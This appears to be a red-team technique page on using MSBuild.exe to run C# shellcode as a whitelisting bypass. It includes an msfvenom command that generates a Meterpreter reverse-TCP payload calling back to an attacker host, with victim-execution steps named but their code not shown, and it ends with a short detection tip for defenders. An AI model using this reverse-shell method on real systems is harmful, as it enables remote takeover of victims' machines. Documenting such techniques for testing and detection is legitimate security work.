Using MSBuild to Execute Shellcode in C#

It's possible to use a native windows binary MSBuild.exe to compile and execute inline C# code stored in an xml as discovered by Casey Smith.

Execution

Generate meterpreter shellode in c#:

attacker@kali
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f csharp

Insert shellcode into the shellcode variable in linne 46:

Spin up a handler in metasploit to catch your shell:

Build and execute malicious payload on the victim system using MSBuild:

Observation

Note that it's MSBuild.exe that will make the TCP connection to the attacker, so as a defender, you should think about hunting for TCP connections initiated by MSBuild.

References

https://gist.github.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17

PreviousInstallUtilNextForfiles Indirect Command Execution

Last updated